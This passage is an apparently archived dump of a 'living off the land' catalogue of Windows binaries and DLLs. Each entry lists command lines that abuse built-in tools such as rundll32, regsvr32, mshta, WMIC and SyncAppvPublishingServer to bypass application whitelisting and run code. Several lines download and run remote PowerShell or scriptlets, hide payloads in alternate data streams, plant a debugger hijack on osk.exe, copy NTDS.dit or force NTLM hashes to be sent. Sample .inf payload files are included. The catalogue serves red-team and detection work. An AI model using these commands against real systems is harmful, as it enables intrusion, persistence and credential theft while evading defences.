C:\\Windows\\System32\\Psr.exe\n * C:\\Windows\\SysWOW64\\Psr.exe\n \n* Notes: Thanks to \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Regasm.exe.md", "content": "## Regasm.exe\n* Functions: Execute\n```\n\nregasm.exe /U AllTheThingsx64.dll\nLoads the target .DLL file and executes the UnRegisterClass function.\n\nregasm.exe AllTheThingsx64.dll\nLoads the target .DLL file and executes the RegisterClass function.\n```\n \n* Resources: \n * https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/\n * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cs\n * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.md\n * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/\n \n* Full path: \n * C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe\n * C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\regasm.exe\n * C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe\n * C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe\n \n* Notes: Thanks to Casey Smith - @subtee \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Register-cimprovider.exe.md", "content": "## Register-cimprovider.exe\n* Functions: Execute\n```\n\nRegister-cimprovider -path \"C:\\folder\\evil.dll\"\nLoad the target .DLL.\n```\n \n* Resources: \n * https://twitter.com/PhilipTsukerman/status/992021361106268161\n \n* Full path: \n * c:\\windows\\system32\\Register-cimprovider.exe\n * c:\\windows\\sysWOW64\\Register-cimprovider.exe\n \n* Notes: Thanks to PhilipTsukerman - @PhilipTsukerman \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Regsvcs.exe.md", "content": "## Regsvcs.exe\n* Functions: Execute\n```\n\nregsvcs.exe AllTheThingsx64.dll\nLoads the target .DLL file and executes the RegisterClass function.\n```\n \n* Resources: \n * https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/\n * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cs\n * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.md\n * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/\n \n* Full path: \n * C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regsvcs.exe\n * C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\regsvcs.exe\n * C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe\n * C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regsvcs.exe\n \n* Notes: Thanks to Casey Smith - @subtee \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Regsvr32.exe.md", "content": "## Regsvr32.exe\n* Functions: Execute\n```\n\nregsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll\nExecute the specified remote .SCT script with scrobj.dll.\n\n\nExecute the specified local .SCT script with scrobj.dll.\n```\n \n* Resources: \n * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Regsvr32.md\n * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/\n * https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/\n \n* Full path: \n * C:\\Windows\\System32\\regsvr32.exe\n * C:\\Windows\\SysWOW64\\regsvr32.exe\n \n* Notes: Thanks to Casey Smith - @subtee \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Replace.exe.md", "content": "## Replace.exe\n* Functions: Copy, Download\n```\n\nreplace.exe C:\\Source\\File.cab C:\\Destination /A\nCopy the specified file to the destination folder.\n\nreplace.exe \\\\webdav.host.com\\foo\\bar.exe c:\\outdir /A\nCopy the specified file to the destination folder.\n```\n \n* Resources: \n * https://twitter.com/elceef/status/986334113941655553\n * https://twitter.com/elceef/status/986842299861782529\n \n* Full path: \n * C:\\Windows\\System32\\replace.exe\n * C:\\Windows\\SysWOW64\\replace.exe\n \n* Notes: Thanks to elceef - @elceef \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Robocopy.exe.md", "content": "## Robocopy.exe\n* Functions: Copy\n```\n\nRobocopy.exe C:\\SourceFolder C:\\DestFolder\nCopy the entire contents of the SourceFolder to the DestFolder.\n\nRobocopy.exe \\\\SERVER\\SourceFolder C:\\DestFolder\nCopy the entire contents of the SourceFolder to the DestFolder.\n```\n \n* Resources: \n * https://social.technet.microsoft.com/wiki/contents/articles/1073.robocopy-and-a-few-examples.aspx\n \n* Full path: \n * c:\\windows\\system32\\binary.exe\n * c:\\windows\\sysWOW64\\binary.exe\n \n* Notes: Thanks to Name of guy - @twitterhandle \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Rpcping.exe.md", "content": "## Rpcping.exe\n* Functions: Credentials\n```\n\nrpcping -s 127.0.0.1 -t ncacn_np\nSend a RPC test connection to the target server (-s) sending the password hash in the process.\n\nrpcping -s 192.168.1.10 -ncacn_np\nSend a RPC test connection to the target server (-s) sending the password hash in the process.\n\nrpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM\nSend a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.\n```\n \n* Resources: \n * https://twitter.com/subtee/status/872797890539913216\n * https://github.com/vysec/RedTips\n * https://twitter.com/vysecurity/status/974806438316072960\n * https://twitter.com/vysecurity/status/873181705024266241\n \n* Full path: \n * C:\\Windows\\System32\\rpcping.exe\n * C:\\Windows\\SysWOW64\\rpcping.exe\n \n* Notes: Thanks to Casey Smith - @subtee, Vincent Yiu - @vysecurity \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Rundll32.exe.md", "content": "## Rundll32.exe\n* Functions: Execute, Read ADS\n```\n\nrundll32.exe AllTheThingsx64,EntryPoint\nExample command. AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.\n\nrundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();new%20ActiveXObject(\"WScript.Shell\").Run(\"powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');\"\nUse Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.\n\nrundll32.exe javascript:\"\\..\\mshtml.dll,RunHTMLApplication \";eval(\"w=new%20ActiveXObject(\\\"WScript.Shell\\\");w.run(\\\"calc\\\");window.close()\");\nUse Rundll32.exe to execute a JavaScript script that runs calc.exe.\n\nrundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WScript.Shell\").run(\"calc.exe\",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}\nUse Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.\n\nrundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")\nUse Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.\n\nrundll32 \"C:\\ads\\file.txt:ADSDLL.dll\",DllMain\nUse Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).\n```\n \n* Resources: \n * https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/\n * https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7\n * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Rundll32.md\n * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/\n * https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/\n \n* Full path: \n * C:\\Windows\\System32\\rundll32.exe\n * C:\\Windows\\SysWOW64\\rundll32.exe\n \n* Notes: Thanks to Casey Smith - @subtee \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Runonce.exe.md", "content": "## Runonce.exe\n* Functions: Execute\n```\n\nRunonce.exe /AlternateShellStartup\nExecutes a Run Once Task that has been configured in the registry.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/990717080805789697\n * https://cmatskas.com/configure-a-runonce-task-on-windows/\n \n* Full path: \n * c:\\windows\\system32\\runonce.exe\n * c:\\windows\\sysWOW64\\runonce.exe\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken\nRequires Administrative access. \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Runscripthelper.exe.md", "content": "## Runscripthelper.exe\n* Functions: Execute\n```\n\nrunscripthelper.exe surfacecheck \\\\?\\C:\\Test\\Microsoft\\Diagnosis\\scripts\\test.txt C:\\Test\nExecute the PowerShell script named test.txt.\n```\n \n* Resources: \n * https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc\n \n* Full path: \n * C:\\Windows\\WinSxS\\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.15_none_c2df1bba78111118\\Runscripthelper.exe \n * C:\\Windows\\WinSxS\\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\\Runscripthelper.exe \n \n* Notes: Thanks to Matt Graeber - @mattifestation \n \n" }, { "path": "Archive-Old-Version/OSBinaries/SC.exe.md", "content": "## SC.exe\n* Functions: Execute, Read ADS, Create Service, Start Service\n```\n\nsc create evilservice binPath=\"\\\"c:\\\\ADS\\\\file.txt:cmd.exe\\\" /c echo works > \\\"c:\\ADS\\works.txt\\\"\" DisplayName= \"evilservice\" start= auto\nsc start evilservice\n\n\n```\n \n* Resources: \n * https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/\n \n* Full path: \n * C:\\Windows\\System32\\sc.exe\n * C:\\Windows\\SysWOW64\\sc.exe\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Scriptrunner.exe.md", "content": "## Scriptrunner.exe\n* Functions: Execute\n```\n\nScriptrunner.exe -appvscript calc.exe\nExecute calc.exe.\n\nScriptRunner.exe -appvscript \"\\\\fileserver\\calc.cmd\"\nExecute the calc.cmd script on the remote share.\n```\n \n* Resources: \n * https://twitter.com/KyleHanslovan/status/914800377580503040\n * https://twitter.com/NickTyrer/status/914234924655312896\n * https://github.com/MoooKitty/Code-Execution\n \n* Full path: \n * c:\\windows\\system32\\scriptrunner.exe\n * c:\\windows\\sysWOW64\\scriptrunner.exe\n \n* Notes: Thanks to Nick Tyrer - @NickTyrer \n \n" }, { "path": "Archive-Old-Version/OSBinaries/SyncAppvPublishingServer.exe.md", "content": "## SyncAppvPublishingServer.exe\n* Functions: Execute\n```\n\nSyncAppvPublishingServer.exe \"n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX\"\nExample command on how inject Powershell code into the process\n```\n \n* Resources: \n * https://twitter.com/monoxgas/status/895045566090010624\n \n* Full path: \n * C:\\Windows\\System32\\SyncAppvPublishingServer.exe\n \n* Notes: Thanks to Nick Landers - @monoxgas \n \n" }, { "path": "Archive-Old-Version/OSBinaries/WMIC.exe.md", "content": "## WMIC.exe\n* Functions: Reconnaissance, Execute, Read ADS\n```\n\nwmic.exe process call create calc\nExecute calc.exe.\n\nwmic.exe process call create \"c:\\ads\\file.txt:program.exe\"\nExecute a .EXE file stored as an Alternate Data Stream (ADS).\n\nwmic.exe useraccount get /ALL\nList the user accounts on the machine.\n\nwmic.exe process get caption,executablepath,commandline\nGets the command line used to execute a running program.\n\nwmic.exe qfe get description,installedOn /format:csv\nGets a list of installed Windows updates.\n\nwmic.exe /node:\"192.168.0.1\" service where (caption like \"%sql server (%\")\nCheck to see if the target system is running SQL.\n\nget-wmiobject –class \"win32_share\" –namespace \"root\\CIMV2\" –computer \"targetname\"\nUse the PowerShell cmdlet to list the shares on a remote server.\n\nwmic.exe /user: /password: /node: process call create \"C:\\Windows\\system32\\reg.exe add \\\"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\osk.exe\\\" /v \\\"Debugger\\\" /t REG_SZ /d \\\"cmd.exe\\\" /f\"\nAdd cmd.exe as a debugger for the osk.exe process. Each time osk.exe is run, cmd.exe will be run as well.\n\nwmic.exe /node:\"192.168.0.1\" process call create \"evil.exe\"\nExecute evil.exe on the remote system.\n\nwmic.exe /node:REMOTECOMPUTERNAME PROCESS call create \"at 9:00PM c:\\GoogleUpdate.exe ^> c:\\notGoogleUpdateResults.txt\"\nCreate a scheduled execution of C:\\GoogleUpdate.exe to run at 9pm.\n\nwmic.exe /node:REMOTECOMPUTERNAME PROCESS call create \"cmd /c vssadmin create shadow /for=C:\\Windows\\NTDS\\NTDS.dit > c:\\not_the_NTDS.dit\"\nCreate a volume shadow copy of NTDS.dit that can be copied.\n\nwmic.exe process get brief /format:\"https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl\"\nExecute a script contained in the target .XSL file hosted on a remote server.\n\nwmic.exe os get /format:\"MYXSLFILE.xsl\"\nExecutes JScript or VBScript embedded in the target XSL stylesheet.\n\nwmic.exe process get brief /format:\"\\\\127.0.0.1\\c$\\Tools\\pocremote.xsl\"\nExecutes JScript or VBScript embedded in the target remote XSL stylsheet.\n```\n \n* Resources: \n * https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory\n * https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html\n * https://twitter.com/subTee/status/986234811944648707\n \n* Full path: \n * c:\\windows\\system32\\wbem\\wmic.exe\n * c:\\windows\\sysWOW64\\wbem\\wmic.exe\n \n* Notes: Thanks to Casey Smith - @subtee \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Wab.exe.md", "content": "## Wab.exe\n* Functions: Execute\n```\n\nWab.exe\nLoads a DLL configured in the registry under HKLM.\n```\n \n* Resources: \n * http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/\n * https://twitter.com/Hexacorn/status/991447379864932352\n \n* Full path: \n * C:\\Program Files\\Windows Mail\\wab.exe \n * C:\\Program Files (x86)\\Windows Mail\\wab.exe \n \n* Notes: Thanks to Adam - @Hexacorn\nRequires registry changes, Requires Administrative Access \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Wscript.exe.md", "content": "## Wscript.exe\n* Functions: Execute, Read ADS\n```\n\nwscript c:\\ads\\file.txt:script.vbs\nExecutes the .VBS script stored as an Alternate Data Stream (ADS).\n```\n \n* Resources: \n * ?\n \n* Full path: \n * c:\\windows\\system32\\wscript.exe\n * c:\\windows\\sysWOW64\\wscript.exe\n \n* Notes: Thanks to ? \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Xwizard.exe.md", "content": "## Xwizard.exe\n* Functions: DLL hijack, Execute\n```\n\nxwizard.exe\nXwizard.exe will load a .DLL file located in the same directory (DLL Hijack) named xwizards.dll.\n\nxwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}\nXwizard.exe running a custom class that has been added to the registry.\n```\n \n* Resources: \n * http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/\n * https://www.youtube.com/watch?v=LwDHX7DVHWU\n * https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5\n \n* Full path: \n * c:\\windows\\system32\\xwizard.exe\n * c:\\windows\\sysWOW32\\xwizard.exe\n \n* Notes: Thanks to Adam - @Hexacorn, Nick Tyrer - @nicktyrer \n \n" }, { "path": "Archive-Old-Version/OSBinaries/hh.exe.md", "content": "## hh.exe\n* Functions: Download, Execute\n```\n\nHH.exe http://www.google.com\nOpens google's web page with HTML Help.\n\nHH.exe C:\\\nOpens c:\\\\ with HTML Help.\n\nHH.exe c:\\windows\\system32\\calc.exe\nOpens calc.exe with HTML Help.\n\nHH.exe http://some.url/script.ps1\nOpen the target PowerShell script with HTML Help.\n```\n \n* Resources: \n * https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/\n \n* Full path: \n * c:\\windows\\system32\\hh.exe\n * c:\\windows\\sysWOW64\\hh.exe\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSBinaries/mshta.exe.md", "content": "## mshta.exe\n* Functions: Execute, Read ADS\n```\n\nmshta.exe evilfile.hta\nOpens the target .HTA and executes embedded JavaScript, JScript, or VBScript.\n\nmshta.exe vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\nExecutes VBScript supplied as a command line argument.\n\nmshta.exe javascript:a=GetObject(\"script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct\").Exec();close();\nExecutes JavaScript supplied as a command line argument.\n\nmshta.exe \"C:\\ads\\file.txt:file.hta\"\nOpens the target .HTA and executes embedded JavaScript, JScript, or VBScript.\n```\n \n* Resources: \n * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Mshta.md\n * https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4\n * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct\n * https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/\n * https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/\n \n* Full path: \n * C:\\Windows\\System32\\mshta.exe\n * C:\\Windows\\SysWOW64\\mshta.exe\n \n* Notes: Thanks to Casey Smith - @subtee, Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSBinaries/odbcconf.exe.md", "content": "## odbcconf.exe\n* Functions: Execute\n```\n\nodbcconf -f file.rsp\nLoad DLL specified in target .RSP file.\n```\n \n* Resources: \n * https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b\n * https://github.com/woanware/application-restriction-bypasses\n * https://twitter.com/subTee/status/789459826367606784\n \n* Full path: \n * c:\\windows\\system32\\odbcconf.exe \n * c:\\windows\\sysWOW64\\odbcconf.exe\n \n* Notes: Thanks to Casey Smith - @subtee, Nick Tyrer - @NickTyrer\nSee the Playloads folder for an example .RSP file.\n \n \n" }, { "path": "Archive-Old-Version/OSBinaries/reg.exe.md", "content": "## reg.exe\n* Functions: Export Reg, Add ADS, Import Reg\n```\n\nreg export HKLM\\SOFTWARE\\Microsoft\\Evilreg c:\\ads\\file.txt:evilreg.reg\nExport the target Registry key and save it to the specified .REG file.\n```\n \n* Resources: \n * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n \n* Full path: \n * c:\\windows\\system32\\reg.exe\n * c:\\windows\\sysWOW64\\reg.exe\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSBinaries/regedit.exe.md", "content": "## regedit.exe\n* Functions: Write ADS, Read ADS, Import registry\n```\n\nregedit /E c:\\ads\\file.txt:regfile.reg HKEY_CURRENT_USER\\MyCustomRegKey\nExport the target Registry key to the specified .REG file.\n\nregedit C:\\ads\\file.txt:regfile.reg\"\nImport the target .REG file into the Registry.\n```\n \n* Resources: \n * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n \n* Full path: \n * C:\\Windows\\System32\\regedit.exe\n * C:\\Windows\\SysWOW64\\regedit.exe\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSLibraries/Advpack.dll.md", "content": "## Advpack.dll\n* Functions: Execute\n```\n\nrundll32.exe advpack.dll,LaunchINFSection c:\\\\test.inf,DefaultInstall_SingleUser,1,\nRemote fetch and execute a COM Scriptlet by calling an information file directive (Section name specified).\n\nrundll32.exe advpack.dll,LaunchINFSection test.inf,,1,\nRemote fetch and execute a COM Scriptlet by calling an information file directive (DefaultInstall section implied).\n\nrundll32.exe Advpack.dll,RegisterOCX calc.exe\nLaunch executable by calling the RegisterOCX function.\n\nrundll32 advpack.dll, RegisterOCX \"cmd.exe /c calc.exe\"\nLaunch executable by calling the RegisterOCX function.\n\nrundll32.exe Advpack.dll,RegisterOCX test.dll\nLaunch a DLL payload by calling the RegisterOCX function.\n```\n \n* Resources: \n * https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/\n * https://twitter.com/ItsReallyNick/status/967859147977850880\n * https://twitter.com/bohops/status/974497123101179904\n * https://twitter.com/moriarty_meng/status/977848311603380224\n \n* Full path: \n * c:\\windows\\system32\\advpack.dll\n * c:\\windows\\sysWOW64\\advpack.dll\n \n* Notes: Thanks to Jimmy - @bohops (LaunchINFSection), fabrizio - @0rbz_ (RegisterOCX - DLL), Moriarty @moriarty_meng (RegisterOCX - Cmd) \n \n" }, { "path": "Archive-Old-Version/OSLibraries/Ieadvpack.dll.md", "content": "## Ieadvpack.dll\n* Functions: Execute\n```\n\nrundll32.exe IEAdvpack.dll,LaunchINFSection c:\\\\test.inf,DefaultInstall_SingleUser,1,\nRemote fetch and execute a COM Scriptlet by calling an information file directive (Section name specified).\n\nrundll32.exe IEAdvpack.dll,LaunchINFSection test.inf,,1,\nRemote fetch and execute a COM Scriptlet by calling an information file directive (DefaultInstall section implied).\n\nrundll32.exe IEAdvpack.dll,RegisterOCX calc.exe\nLaunch executable by calling the RegisterOCX function.\n\nrundll32.exe IEAdvpack.dll,RegisterOCX test.dll\nLaunch a DLL payload by calling the RegisterOCX function.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/991695411902599168\n * https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/\n * https://twitter.com/0rbz_/status/974472392012689408\n \n* Full path: \n * c:\\windows\\system32\\ieadvpack.dll\n * c:\\windows\\sysWOW64\\ieadvpack.dll\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (RegisterOCX - Cmd), Jimmy - @bohops (LaunchINFSection), fabrizio - @0rbz_ (RegisterOCX - DLL) \n \n" }, { "path": "Archive-Old-Version/OSLibraries/Ieframe.dll.md", "content": "## Ieframe.dll\n* Functions: Execute\n```\n\nrundll32.exe ieframe.dll,OpenURL \"C:\\test\\calc.url\"\nLaunch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.\n\nrundll32.exe ieframe.dll,OpenURL c:\\\\test\\\\calc-url-file.zz\nRenamed URL file.\n```\n \n* Resources: \n * http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/\n * https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/\n * https://twitter.com/bohops/status/997690405092290561\n \n* Full path: \n * c:\\windows\\system32\\Ieframe.dll\n * c:\\windows\\sysWOW64\\Ieframe.dll\n \n* Notes: Thanks to Adam - @hexacorn, Jimmy - @bohops \n \n" }, { "path": "Archive-Old-Version/OSLibraries/Mshtml.dll.md", "content": "## Mshtml.dll\n* Functions: Execute\n```\n\nrundll32.exe Mshtml.dll,PrintHTML \"C:\\temp\\calc.hta\"\nInvoke an HTML Application. Note - Pops a security warning and a print dialogue box.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/998567549670477824\n \n* Full path: \n * c:\\windows\\system32\\Mshtml.dll\n * c:\\windows\\sysWOW64\\Mshtml.dll\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OSLibraries/Payload/Advpack.inf", "content": "[version]\nSignature=$chicago$\nAdvancedINF=2.5\n\n[DefaultInstall_SingleUser]\nUnRegisterOCXs=UnRegisterOCXSection\n\n[UnRegisterOCXSection]\n%11%\\scrobj.dll,NI,https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct\n\n[Strings]\nAppAct = \"SOFTWARE\\Microsoft\\Connection Manager\"\nServiceName=\"Yay\"\nShortSvcName=\"Yay\"" }, { "path": "Archive-Old-Version/OSLibraries/Payload/Advpack_calc.sct", "content": "\n\n\n\n\n\t\n\t\n\t\n\t\n\t\n\n\n\t \n \n\t\n\n\n\n \n\n\n\n" }, { "path": "Archive-Old-Version/OSLibraries/Payload/Ieadvpack.inf", "content": "[version]\nSignature=$chicago$\nAdvancedINF=2.5\n\n[DefaultInstall_SingleUser]\nUnRegisterOCXs=UnRegisterOCXSection\n\n[UnRegisterOCXSection]\n%11%\\scrobj.dll,NI,https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct\n\n[Strings]\nAppAct = \"SOFTWARE\\Microsoft\\Connection Manager\"\nServiceName=\"Yay\"\nShortSvcName=\"Yay\"" }, { "path": "Archive-Old-Version/OSLibraries/Payload/Ieadvpack_calc.sct", "content": "\n\n\n\n\n\t\n\t\n\t\n\t\n\t\n\n\n\t \n \n\t\n\n\n\n \n\n\n\n" }, { "path": "Archive-Old-Version/OSLibraries/Pcwutl.dll.md", "content": "## Pcwutl.dll\n* Functions: Execute\n```\n\nrundll32.exe pcwutl.dll,LaunchApplication calc.exe\nLaunch executable by calling the LaunchApplication function.\n```\n \n* Resources: \n * https://twitter.com/harr0ey/status/989617817849876488\n \n* Full path: \n * c:\\windows\\system32\\Pcwutl.dll\n * c:\\windows\\sysWOW64\\Pcwutl.dll\n \n* Notes: Thanks to Matt harr0ey - @harr0ey \n \n" }, { "path": "Archive-Old-Version/OSLibraries/Setupapi.dll.md", "content": "## Setupapi.dll\n* Functions: Execute\n```\n\nrundll32 setupapi,InstallHinfSection DefaultInstall 132 c:\\temp\\calc.inf\nLaunch an executable file via the InstallHinfSection function and .inf file section directive.\n\nrundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\\\Tools\\\\shady.inf\nRemote fetch and execute a COM Scriptlet by calling an information file directive.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/994742106852941825\n * https://twitter.com/subTee/status/951115319040356352\n * https://twitter.com/KyleHanslovan/status/911997635455852544\n * https://github.com/huntresslabs/evading-autoruns\n \n* Full path: \n * c:\\windows\\system32\\Setupapi.dll\n * c:\\windows\\sysWOW64\\Setupapi.dll\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (Executable), Kyle Hanslovan - @KyleHanslovan (COM Scriptlet), Huntress Labs - @HuntressLabs (COM Scriptlet), Casey Smith - @subTee (COM Scriptlet) \n \n" }, { "path": "Archive-Old-Version/OSLibraries/Shdocvw.dll.md", "content": "## Shdocvw.dll\n* Functions: Execute\n```\n\nrundll32.exe shdocvw.dll,OpenURL \"C:\\test\\calc.url\"\nLaunch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.\n\nrundll32.exe shdocvw.dll,OpenURL \"C:\\test\\calc.zz\"\nRenamed URL file.\n```\n \n* Resources: \n * http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/\n * https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/\n * https://twitter.com/bohops/status/997690405092290561\n \n* Full path: \n * c:\\windows\\system32\\Shdocvw.dll\n * c:\\windows\\sysWOW64\\Shdocvw.dll\n \n* Notes: Thanks to Adam - @hexacorn, Jimmy - @bohops \n \n" }, { "path": "Archive-Old-Version/OSLibraries/Shell32.dll.md", "content": "## Shell32.dll\n* Functions: Execute\n```\n\nrundll32.exe shell32.dll,Control_RunDLL payload.dll\nLaunch DLL payload.\n\nrundll32.exe shell32.dll,ShellExec_RunDLL beacon.exe\nLaunch executable payload.\n\nrundll32 SHELL32.DLL,ShellExec_RunDLL \"cmd.exe\" \"/c echo hi\"\nLaunch executable payload with arguments.\n```\n \n* Resources: \n * https://twitter.com/Hexacorn/status/885258886428725250\n * https://twitter.com/pabraeken/status/991768766898941953\n * https://twitter.com/mattifestation/status/776574940128485376\n * https://twitter.com/KyleHanslovan/status/905189665120149506\n \n* Full path: \n * c:\\windows\\system32\\shell32.dll\n * c:\\windows\\sysWOW64\\shell32.dll\n \n* Notes: Thanks to Adam - @hexacorn (Control_RunDLL), Pierre-Alexandre Braeken - @pabraeken (ShellExec_RunDLL), Matt Graeber - @mattifestation (ShellExec_RunDLL), Kyle Hanslovan - @KyleHanslovan (ShellExec_RunDLL) \n \n" }, { "path": "Archive-Old-Version/OSLibraries/Syssetup.dll.md", "content": "## Syssetup.dll\n* Functions: Execute\n```\n\nrundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 c:\\temp\\calc.INF\nLaunch an executable file via the SetupInfObjectInstallAction function and .inf file section directive.\n\nrundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\\\\test\\\\shady.inf\nRemote fetch and execute a COM Scriptlet by calling an information file directive.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/994392481927258113\n * https://twitter.com/harr0ey/status/975350238184697857\n * https://twitter.com/bohops/status/975549525938135040\n \n* Full path: \n * c:\\windows\\system32\\Syssetup.dll\n * c:\\windows\\sysWOW64\\Syssetup.dll\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (Execute), Matt harr0ey - @harr0ey (Execute), Jimmy - @bohops (COM Scriptlet) \n \n" }, { "path": "Archive-Old-Version/OSLibraries/Url.dll.md", "content": "## Url.dll\n* Functions: Execute\n```\n\nrundll32.exe url.dll,OpenURL \"C:\\\\test\\\\calc.hta\"\nLaunch a HTML application payload by calling OpenURL.\n\nrundll32.exe url.dll,OpenURL 